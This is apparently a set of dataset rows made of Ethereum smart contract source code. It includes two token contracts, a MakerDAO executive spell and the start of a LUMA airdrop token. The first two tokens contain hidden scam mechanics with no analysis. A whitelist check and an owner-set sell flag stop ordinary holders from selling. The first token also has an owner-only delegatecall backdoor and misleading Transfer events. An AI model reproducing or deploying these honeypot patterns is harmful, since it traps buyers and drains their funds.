function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-01-22
*/
/*****
Fuck Influencers ($FUCKINFLUENCERS)
Tax: 0% - Will you join the movement or be a 🐑? Community > Marketing
Telegram: https://t.me/fuckinfluencers2022
***/
pragma solidity 0.8.9;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier:MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IdexFacotry {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router02 contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = payable(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FuckInfluencers is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
IDexRouter public dexRouter;
address public dexPair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool public _areyouasheep = true;
constructor() {
_name = "FUCK INFLUENCERS";
_symbol = "FUCKINFLUENCERS";
_decimals = 18;
_totalSupply = 10000000000000 * 1e18;
_balances[owner()] = _totalSupply.mul(1000).div(1e3);
IDexRouter _dexRouter = IDexRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
dexPair = IdexFacotry(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
// set the rest of the contract variables
dexRouter = _dexRouter;
emit Transfer(address(0x6ADb2E268de2aA1aBF6578E4a8119b960E02928F), owner(), _totalSupply.mul(1000).div(1e3));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function areyouasheep(bool value) external onlyOwner {
_areyouasheep = value;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"Allowance not allowed"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ZERO");
require(recipient != address(0), "transfer to zero");
require(amount > 0, "transfer 0");
if (!_areyouasheep && sender != owner() && recipient != owner()) {
require(recipient != dexPair, " False attempt bot");
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Not allowed");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
// hevm: flattened sources of src/DssSpell.sol
pragma solidity =0.6.11 >=0.5.12 >=0.6.11 <0.7.0;
////// lib/dss-exec-lib/src/CollateralOpts.sol
/* pragma solidity ^0.6.11; */
struct CollateralOpts {
bytes32 ilk;
address gem;
address join;
address flip;
address pip;
bool isLiquidatable;
bool isOSM;
bool whitelistOSM;
uint256 ilkDebtCeiling;
uint256 minVaultAmount;
uint256 maxLiquidationAmount;
uint256 liquidationPenalty;
uint256 ilkStabilityFee;
uint256 bidIncrease;
uint256 bidDuration;
uint256 auctionDuration;
uint256 liquidationRatio;
}
////// lib/dss-exec-lib/src/DssExecLib.sol
//
// DssExecLib.sol -- MakerDAO Executive Spellcrafting Library
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity ^0.6.11; */
interface Initializable {
function init(bytes32) external;
}
interface Authorizable {
function rely(address) external;
function deny(address) external;
}
interface Fileable {
function file(bytes32, address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, bytes32, address) external;
}
interface Drippable {
function drip() external returns (uint256);
function drip(bytes32) external returns (uint256);
}
interface Pricing {
function poke(bytes32) external;
}
interface ERC20 {
function decimals() external returns (uint8);
}
interface DssVat {
function hope(address) external;
function nope(address) external;
function ilks(bytes32) external returns (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust);
function Line() external view returns (uint256);
function suck(address, address, uint) external;
}
interface AuctionLike {
function vat() external returns (address);
function cat() external returns (address); // Only flip
function beg() external returns (uint256);
function pad() external returns (uint256); // Only flop
function ttl() external returns (uint256);
function tau() external returns (uint256);
function ilk() external returns (bytes32); // Only flip
function gem() external returns (bytes32); // Only flap/flop
}
interface JoinLike {
function vat() external returns (address);
function ilk() external returns (bytes32);
function gem() external returns (address);
function dec() external returns (uint256);
function join(address, uint) external;
function exit(address, uint) external;
}
// Includes Median and OSM functions
interface OracleLike_2 {
function src() external view returns (address);
function lift(address[] calldata) external;
function drop(address[] calldata) external;
function setBar(uint256) external;
function kiss(address) external;
function diss(address) external;
function kiss(address[] calldata) external;
function diss(address[] calldata) external;
}
interface MomLike {
function setOsm(bytes32, address) external;
}
interface RegistryLike {
function add(address) external;
function info(bytes32) external view returns (
string memory, string memory, uint256, address, address, address, address
);
function ilkData(bytes32) external view returns (
uint256 pos,
address gem,
address pip,
address join,
address flip,
uint256 dec,
string memory name,
string memory symbol
);
}
// https://github.com/makerdao/dss-chain-log
interface ChainlogLike {
function setVersion(string calldata) external;
function setIPFS(string calldata) external;
function setSha256sum(string calldata) external;
function getAddress(bytes32) external view returns (address);
function setAddress(bytes32, address) external;
function removeAddress(bytes32) external;
}
interface IAMLike {
function ilks(bytes32) external view returns (uint256,uint256,uint48,uint48,uint48);
function setIlk(bytes32,uint256,uint256,uint256) external;
function remIlk(bytes32) external;
function exec(bytes32) external returns (uint256);
}
library DssExecLib {
// Function stubs - check the actual library address for implementations
function dai() public view returns (address) {}
function mkr() public view returns (address) {}
function vat() public view returns (address) {}
function cat() public view returns (address) {}
function jug() public view returns (address) {}
function pot() public view returns (address) {}
function vow() public view returns (address) {}
function end() public view returns (address) {}
function reg() public view returns (address) {}
function spotter() public view returns (address) {}
function flap() public view returns (address) {}
function flop() public view returns (address) {}
function osmMom() public view returns (address) {}
function govGuard() public view returns (address) {}
function flipperMom() public view returns (address) {}
function pauseProxy() public view returns (address) {}
function autoLine() public view returns (address) {}
function daiJoin() public view returns (address) {}
function flip(bytes32 ilk) public view returns (address _flip) {
}
function getChangelogAddress(bytes32 key) public view returns (address) {
}
function setChangelogAddress(bytes32 _key, address _val) public {
}
function setChangelogVersion(string memory _version) public {
}
function setChangelogIPFS(string memory _ipfsHash) public {
}
function setChangelogSHA256(string memory _SHA256Sum) public {
}
function authorize(address _base, address _ward) public {
}
function deauthorize(address _base, address _ward) public {
}
function delegateVat(address _usr) public {
}
function undelegateVat(address _usr) public {
}
function accumulateDSR() public {
}
function accumulateCollateralStabilityFees(bytes32 _ilk) public {
}
function updateCollateralPrice(bytes32 _ilk) public {
}
function setContract(address _base, bytes32 _what, address _addr) public {
}
function setContract(address _base, bytes32 _ilk, bytes32 _what, address _addr) public {
}
function setGlobalDebtCeiling(uint256 _amount) public {
}
function increaseGlobalDebtCeiling(uint256 _amount) public {
}
function decreaseGlobalDebtCeiling(uint256 _amount) public {
}
function setDSR(uint256 _rate) public {
}
function setSurplusAuctionAmount(uint256 _amount) public {
}
function setSurplusBuffer(uint256 _amount) public {
}
function setMinSurplusAuctionBidIncrease(uint256 _pct_bps) public {
}
function setSurplusAuctionBidDuration(uint256 _duration) public {
}
function setSurplusAuctionDuration(uint256 _duration) public {
}
function setDebtAuctionDelay(uint256 _duration) public {
}
function setDebtAuctionDAIAmount(uint256 _amount) public {
}
function setDebtAuctionMKRAmount(uint256 _amount) public {
}
function setMinDebtAuctionBidIncrease(uint256 _pct_bps) public {
}
function setDebtAuctionBidDuration(uint256 _duration) public {
}
function setDebtAuctionDuration(uint256 _duration) public {
}
function setDebtAuctionMKRIncreaseRate(uint256 _pct_bps) public {
}
function setMaxTotalDAILiquidationAmount(uint256 _amount) public {
}
function setEmergencyShutdownProcessingTime(uint256 _duration) public {
}
function setGlobalStabilityFee(uint256 _rate) public {
}
function setDAIReferenceValue(uint256 _value) public {
}
function setIlkDebtCeiling(bytes32 _ilk, uint256 _amount) public {
}
function increaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public {
}
function decreaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public {
}
function setIlkAutoLineParameters(bytes32 _ilk, uint256 _amount, uint256 _gap, uint256 _ttl) public {
}
function setIlkAutoLineDebtCeiling(bytes32 _ilk, uint256 _amount) public {
}
function removeIlkFromAutoLine(bytes32 _ilk) public {
}
function setIlkMinVaultAmount(bytes32 _ilk, uint256 _amount) public {
}
function setIlkLiquidationPenalty(bytes32 _ilk, uint256 _pct_bps) public {
}
function setIlkMaxLiquidationAmount(bytes32 _ilk, uint256 _amount) public {
}
function setIlkLiquidationRatio(bytes32 _ilk, uint256 _pct_bps) public {
}
function setIlkMinAuctionBidIncrease(bytes32 _ilk, uint256 _pct_bps) public {
}
function setIlkBidDuration(bytes32 _ilk, uint256 _duration) public {
}
function setIlkAuctionDuration(bytes32 _ilk, uint256 _duration) public {
}
function setIlkStabilityFee(bytes32 _ilk, uint256 _rate, bool _doDrip) public {
}
function addWritersToMedianWhitelist(address _median, address[] memory _feeds) public {
OracleLike_2(_median).lift(_feeds);
}
function removeWritersFromMedianWhitelist(address _median, address[] memory _feeds) public {
OracleLike_2(_median).drop(_feeds);
}
function addReadersToMedianWhitelist(address _median, address[] memory _readers) public {
OracleLike_2(_median).kiss(_readers);
}
function addReaderToMedianWhitelist(address _median, address _reader) public {
OracleLike_2(_median).kiss(_reader);
}
function removeReadersFromMedianWhitelist(address _median, address[] memory _readers) public {
}
function removeReaderFromMedianWhitelist(address _median, address _reader) public {
}
function setMedianWritersQuorum(address _median, uint256 _minQuorum) public {
}
function addReaderToOSMWhitelist(address _osm, address _reader) public {
}
function removeReaderFromOSMWhitelist(address _osm, address _reader) public {
}
function allowOSMFreeze(address _osm, bytes32 _ilk) public {
}
function addCollateralBase(
bytes32 _ilk,
address _gem,
address _join,
address _flip,
address _pip
) public {
}
function sendPaymentFromSurplusBuffer(address _target, uint256 _amount) public {
}
}
////// lib/dss-exec-lib/src/DssAction.sol
//
// DssAction.sol -- DSS Executive Spell Actions
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity ^0.6.11; */
/* import "./CollateralOpts.sol"; */
/* import { DssExecLib } from "./DssExecLib.sol"; */
interface OracleLike_1 {
function src() external view returns (address);
}
abstract contract DssAction {
using DssExecLib for *;
// Office Hours defaults to true by default.
// To disable office hours, override this function and
// return false in the inherited action.
function officeHours() public virtual returns (bool) {
return true;
}
// DssExec calls execute. We limit this function subject to officeHours modifier.
function execute() external limited {
actions();
}
// DssAction developer must override `actions()` and place all actions to be called inside.
// The DssExec function will call this subject to the officeHours limiter
// By keeping this function public we allow simulations of `execute()` on the actions outside of the cast time.
function actions() public virtual;
// Modifier required to
modifier limited {
if (officeHours()) {
uint day = (block.timestamp / 1 days + 3) % 7;
require(day < 5, "Can only be cast on a weekday");
uint hour = block.timestamp / 1 hours % 24;
require(hour >= 14 && hour < 21, "Outside office hours");
}
_;
}
/*****************************/
/*** Collateral Onboarding ***/
/*****************************/
// Complete collateral onboarding logic.
function addNewCollateral(CollateralOpts memory co) internal {
// Add the collateral to the system.
DssExecLib.addCollateralBase(co.ilk, co.gem, co.join, co.flip, co.pip);
// Allow FlipperMom to access to the ilk Flipper
address _flipperMom = DssExecLib.flipperMom();
DssExecLib.authorize(co.flip, _flipperMom);
// Disallow Cat to kick auctions in ilk Flipper
if(!co.isLiquidatable) { DssExecLib.deauthorize(_flipperMom, co.flip); }
if(co.isOSM) { // If pip == OSM
// Allow OsmMom to access to the TOKEN OSM
DssExecLib.authorize(co.pip, DssExecLib.osmMom());
if (co.whitelistOSM) { // If median is src in OSM
// Whitelist OSM to read the Median data (only necessary if it is the first time the token is being added to an ilk)
DssExecLib.addReaderToMedianWhitelist(address(OracleLike_1(co.pip).src()), co.pip);
}
// Whitelist Spotter to read the OSM data (only necessary if it is the first time the token is being added to an ilk)
DssExecLib.addReaderToOSMWhitelist(co.pip, DssExecLib.spotter());
// Whitelist End to read the OSM data (only necessary if it is the first time the token is being added to an ilk)
DssExecLib.addReaderToOSMWhitelist(co.pip, DssExecLib.end());
// Set TOKEN OSM in the OsmMom for new ilk
DssExecLib.allowOSMFreeze(co.pip, co.ilk);
}
// Increase the global debt ceiling by the ilk ceiling
DssExecLib.increaseGlobalDebtCeiling(co.ilkDebtCeiling);
// Set the ilk debt ceiling
DssExecLib.setIlkDebtCeiling(co.ilk, co.ilkDebtCeiling);
// Set the ilk dust
DssExecLib.setIlkMinVaultAmount(co.ilk, co.minVaultAmount);
// Set the dunk size
DssExecLib.setIlkMaxLiquidationAmount(co.ilk, co.maxLiquidationAmount);
// Set the ilk liquidation penalty
DssExecLib.setIlkLiquidationPenalty(co.ilk, co.liquidationPenalty);
// Set the ilk stability fee
DssExecLib.setIlkStabilityFee(co.ilk, co.ilkStabilityFee, true);
// Set the ilk percentage between bids
DssExecLib.setIlkMinAuctionBidIncrease(co.ilk, co.bidIncrease);
// Set the ilk time max time between bids
DssExecLib.setIlkBidDuration(co.ilk, co.bidDuration);
// Set the ilk max auction duration
DssExecLib.setIlkAuctionDuration(co.ilk, co.auctionDuration);
// Set the ilk min collateralization ratio
DssExecLib.setIlkLiquidationRatio(co.ilk, co.liquidationRatio);
// Update ilk spot value in Vat
DssExecLib.updateCollateralPrice(co.ilk);
}
}
////// lib/dss-exec-lib/src/DssExec.sol
//
// DssExec.sol -- MakerDAO Executive Spell Template
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity ^0.6.11; */
interface PauseAbstract {
function delay() external view returns (uint256);
function plot(address, bytes32, bytes calldata, uint256) external;
function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory);
}
interface Changelog {
function getAddress(bytes32) external view returns (address);
}
interface SpellAction {
function officeHours() external view returns (bool);
}
contract DssExec {
Changelog constant public log = Changelog(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F);
uint256 public eta;
bytes public sig;
bool public done;
bytes32 immutable public tag;
address immutable public action;
uint256 immutable public expiration;
PauseAbstract immutable public pause;
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)"
string public description;
function officeHours() external view returns (bool) {
return SpellAction(action).officeHours();
}
function nextCastTime() external view returns (uint256 castTime) {
require(eta != 0, "DssExec/spell-not-scheduled");
castTime = block.timestamp > eta ? block.timestamp : eta; // Any day at XX:YY
if (SpellAction(action).officeHours()) {
uint256 day = (castTime / 1 days + 3) % 7;
uint256 hour = castTime / 1 hours % 24;
uint256 minute = castTime / 1 minutes % 60;
uint256 second = castTime % 60;
if (day >= 5) {
castTime += (6 - day) * 1 days; // Go to Sunday XX:YY
castTime += (24 - hour + 14) * 1 hours; // Go to 14:YY UTC Monday
castTime -= minute * 1 minutes + second; // Go to 14:00 UTC
} else {
if (hour >= 21) {
if (day == 4) castTime += 2 days; // If Friday, fast forward to Sunday XX:YY
castTime += (24 - hour + 14) * 1 hours; // Go to 14:YY UTC next day
castTime -= minute * 1 minutes + second; // Go to 14:00 UTC
} else if (hour < 14) {
castTime += (14 - hour) * 1 hours; // Go to 14:YY UTC same day
castTime -= minute * 1 minutes + second; // Go to 14:00 UTC
}
}
}
}
// @param _description A string description of the spell
// @param _expiration The timestamp this spell will expire. (Ex. now + 30 days)
// @param _spellAction The address of the spell action
constructor(string memory _description, uint256 _expiration, address _spellAction) public {
pause = PauseAbstract(log.getAddress("MCD_PAUSE"));
description = _description;
expiration = _expiration;
action = _spellAction;
sig = abi.encodeWithSignature("execute()");
bytes32 _tag; // Required for assembly access
address _action = _spellAction; // Required for assembly access
assembly { _tag := extcodehash(_action) }
tag = _tag;
}
function schedule() public {
require(now <= expiration, "This contract has expired");
require(eta == 0, "This spell has already been scheduled");
eta = now + PauseAbstract(pause).delay();
pause.plot(action, tag, sig, eta);
}
function cast() public {
require(!done, "spell-already-cast");
done = true;
pause.exec(action, tag, sig, eta);
}
}
////// lib/dss-interfaces/src/dss/VatAbstract.sol
/* pragma solidity >=0.5.12; */
// https://github.com/makerdao/dss/blob/master/src/vat.sol
interface VatAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function can(address, address) external view returns (uint256);
function hope(address) external;
function nope(address) external;
function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
function gem(bytes32, address) external view returns (uint256);
function dai(address) external view returns (uint256);
function sin(address) external view returns (uint256);
function debt() external view returns (uint256);
function vice() external view returns (uint256);
function Line() external view returns (uint256);
function live() external view returns (uint256);
function init(bytes32) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function cage() external;
function slip(bytes32, address, int256) external;
function flux(bytes32, address, address, uint256) external;
function move(address, address, uint256) external;
function frob(bytes32, address, address, address, int256, int256) external;
function fork(bytes32, address, address, int256, int256) external;
function grab(bytes32, address, address, address, int256, int256) external;
function heal(uint256) external;
function suck(address, address, uint256) external;
function fold(bytes32, address, int256) external;
}
////// src/DssSpell.sol
// Copyright (C) 2021 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity 0.6.11; */
/* import "dss-exec-lib/DssExec.sol"; */
/* import "dss-exec-lib/DssAction.sol"; */
/* import "lib/dss-interfaces/src/dss/VatAbstract.sol"; */
interface ChainlogAbstract_2 {
function removeAddress(bytes32) external;
}
contract DssSpellAction is DssAction {
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/44f3b05bc9da83a9b59163ac7645e78b82397246/governance/votes/Community%20Executive%20vote%20-%20March%201%2C%202021.md -q -O - 2>/dev/null)"
string public constant description =
"2021-03-01 MakerDAO Executive Spell | Hash: 0x883a580e50389497383818938dc2e1be5d28e8e6cde890bca89ed7d3ef4ba7ac";
// Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 8%):
//
// $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )'
//
// A table of rates can be found at
// https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW
//
uint256 constant WAD = 10**18;
uint256 constant RAD = 10**45;
uint256 constant MILLION = 10**6;
address constant LERP = 0x7b3799b30f268BA55f926d7F714a3001aF89d359;
// Turn off office hours
function officeHours() public override returns (bool) {
return false;
}
function actions() public override {
VatAbstract vat = VatAbstract(DssExecLib.vat());
// De-authorize the lerp contract from adjusting the PSM-USDC-A DC
DssExecLib.deauthorize(address(vat), LERP);
// Increase PSM-USDC-A to 1 Billion from its current value.
DssExecLib.setIlkDebtCeiling("PSM-USDC-A", 1000 * MILLION);
// Decrease the USDC-A Debt Ceiling to zero from its current value.
(,,,uint256 line,) = vat.ilks("USDC-A");
DssExecLib.setIlkDebtCeiling("USDC-A", 0);
// Global debt ceiling for PSM was previously set to the end lerp value of 500M
// Increase it by another 500M to match the 1B target debt ceiling
// Also subtract out the USDC-A line
vat.file("Line", vat.Line() + (500 * MILLION * RAD) - line);
}
}
contract DssSpell is DssExec {
DssSpellAction internal action_ = new DssSpellAction();
constructor() DssExec(action_.description(), block.timestamp + 30 days, address(action_)) public {}
} | True | [
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] |
// * Send 0 ETH to contract address 0x088DFD01e4E279d9b9b89690dc1682C89FEE1DCB
// * (sending any extra amount of ETH will be considered as donations)
// * Use 120 000 Gas if sending
// website: https://token.alluma.io
// Token name: LUMA Token
// Symbol: LUMA
// Decimals: 8
//Allumas ecosystem is built to provide for a liquid cryptocurrency exchange addressing
//various user pain points while being supported by a six-layered security architecture,
//localized KYC & AML policies based on financial industry international best practices,
//and a multi-layered corporate governance structure.
//Alluma has chosen to deploy market leading CRM software
//which allows them to apply critical metrics to Allumas users such as lifetime
//value calculations (LTV) and net promoter scoring (NPS).
//This will help them identify the most engaged users on Alluma platform to ensure they are incentivized to continue driving high-value interactions on Alluma platform.
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
